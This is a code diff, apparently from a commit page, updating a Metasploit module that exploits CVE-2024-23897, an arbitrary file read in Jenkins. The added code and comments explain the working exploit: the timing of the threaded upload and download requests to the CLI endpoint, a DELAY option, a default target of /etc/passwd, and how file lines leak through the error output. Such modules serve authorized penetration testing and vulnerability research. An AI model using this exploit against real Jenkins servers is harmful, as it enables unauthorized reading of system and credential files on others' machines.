@@ -11,22 +11,17 @@ def initialize(info = {})
11
11
super (
12
12
update_info (
13
13
info ,
14
- # The Name should be just like the line of a Git commit - software name,
15
- # vuln type, class. Preferably apply
16
- # some search optimization so people can actually find the module.
17
- # We encourage consistency between module name and file name.
18
- 'Name' => 'Sample Webapp Exploit' ,
14
+ 'Name' => 'Jenkins cliConnect Arbitrary File Read' ,
19
15
'Description' => %q{
20
16
docker run -p 8080:8080 -p 50000:50000 jenkins/jenkins:2.440-jdk17
21
17
} ,
22
18
'License' => MSF_LICENSE ,
23
- # The place to add your name/handle and email. Twitter and other contact info isn't handled here.
24
- # Add reference to additional authors, like those creating original proof of concepts or
25
- # reference materials.
26
- # It is also common to comment in who did what (PoC vs metasploit module, etc)
27
19
'Author' => [
28
20
'h00die' , # msf module
29
- 'Yaniv Nizry' # discovery
21
+ 'Yaniv Nizry' , # discovery
22
+ 'binganao' , # poc
23
+ 'h4x0r-dz' , # poc
24
+ 'Vozec' # poc
30
25
] ,
31
26
'References' => [
32
27
[ 'URL' , 'https://www.jenkins.io/security/advisory/2024-01-24/' ] ,
@@ -36,15 +31,10 @@ def initialize(info = {})
36
31
[ 'URL' , 'https://github.com/Vozec/CVE-2024-23897' ] ,
37
32
[ 'CVE' , '2024-23897' ]
38
33
] ,
39
- # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
40
- 'Privileged' => false ,
41
34
'Targets' => [
42
35
[ 'Automatic Target' , { } ]
43
36
] ,
44
37
'DisclosureDate' => '2024-01-24' ,
45
- # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
46
- # It's generally easiest just to put the default at the beginning of the list and skip this
47
- # entirely.
48
38
'DefaultTarget' => 0 ,
49
39
'Notes' => {
50
40
'Stability' => [ CRASH_SAFE ] ,
@@ -56,13 +46,17 @@ def initialize(info = {})
56
46
}
57
47
)
58
48
)
59
- # set the default port, and a URI that a user can set if the app isn't installed to the root
60
49
register_options (
61
50
[
62
51
OptString . new ( 'TARGETURI' , [ true , 'The base path for Jenkins' , '/' ] ) ,
63
52
OptString . new ( 'FILE_PATH' , [ true , 'File path to read from the server' , '/etc/passwd' ] ) ,
64
53
]
65
54
)
55
+ register_advanced_options (
56
+ [
57
+ OptFloat . new ( 'DELAY' , [ true , 'Delay between first and second request' , 0.01 ] ) ,
58
+ ]
59
+ )
66
60
end
67
61
68
62
# Returns the Jenkins version. taken from jenkins_cred_recovery.rb
@@ -101,7 +95,10 @@ def check
101
95
102
96
def upload_request ( uuid )
103
97
# send upload request asking for file
104
- Rex ::ThreadSafe . sleep ( 0.01 ) # this sleep seems to be the magic to get the download request to hit very slightly ahead of the upload request
98
+
99
+ # In testing against Docker image on localhost, .01 seems to be the magic to get the download request to hit very slightly ahead of the upload request
100
+ # which is required for successful exploitation
101
+ Rex ::ThreadSafe . sleep ( datastore [ 'DELAY' ] )
105
102
res = send_request_cgi (
106
103
'uri' => normalize_uri ( target_uri . path , 'cli' ) ,
107
104
'method' => 'POST' ,
@@ -110,7 +107,6 @@ def upload_request(uuid)
110
107
'headers' => {
111
108
'Session' => uuid ,
112
109
'Side' => 'upload'
113
- # "Content-type": "application/octet-stream"
114
110
} ,
115
111
'vars_get' => {
116
112
'remoting' => 'false'
@@ -125,6 +121,18 @@ def upload_request(uuid)
125
121
end
126
122
127
123
def process_result
124
+ # the output comes back as follows:
125
+
126
+ # ERROR: Too many arguments: <line 2>
127
+ # java -jar jenkins-cli.jar help
128
+ # [COMMAND]
129
+ # Lists all the available commands or a detailed description of single command.
130
+ # COMMAND : Name of the command (default: <line 1>)
131
+
132
+ # The main thing here is we get the first 2 lines of output from the file.
133
+ # The 2nd line from the file is returned on line 1 of the output, and line
134
+ # 1 from the file is returned on the last line of output.
135
+
128
136
file_contents = [ ]
129
137
@content_body . split ( "\n " ) . each do |html_response_line |
130
138
# filter for the two lines which have output
@@ -166,6 +174,15 @@ def run
166
174
uuid = SecureRandom . uuid
167
175
168
176
print_status ( "Sending requests with UUID: #{ uuid } " )
177
+
178
+ # Looking over the python PoCs, they all include threading however
179
+ # the writeup, and PoCs don't mention a timing component.
180
+ # However, during testing it was found that the two requests need to
181
+ # his the server nearly simultaneously, with the 'download' one hitting
182
+ # first. During testing, even a .1 second slowdown was too much and
183
+ # the server resulted in a 500 error. So we need to thread these to
184
+ # execute them fast enough that the server gets both in rapid succession
185
+
169
186
threads = [ ]
170
187
threads << framework . threads . spawn ( 'CVE-2024-23897' , false ) do
171
188
upload_request ( uuid )
@@ -179,6 +196,7 @@ def run
179
196
rescue StandardError
180
197
nil
181
198
end
199
+
182
200
if @content_body
183
201
process_result
184
202
else
0 commit comments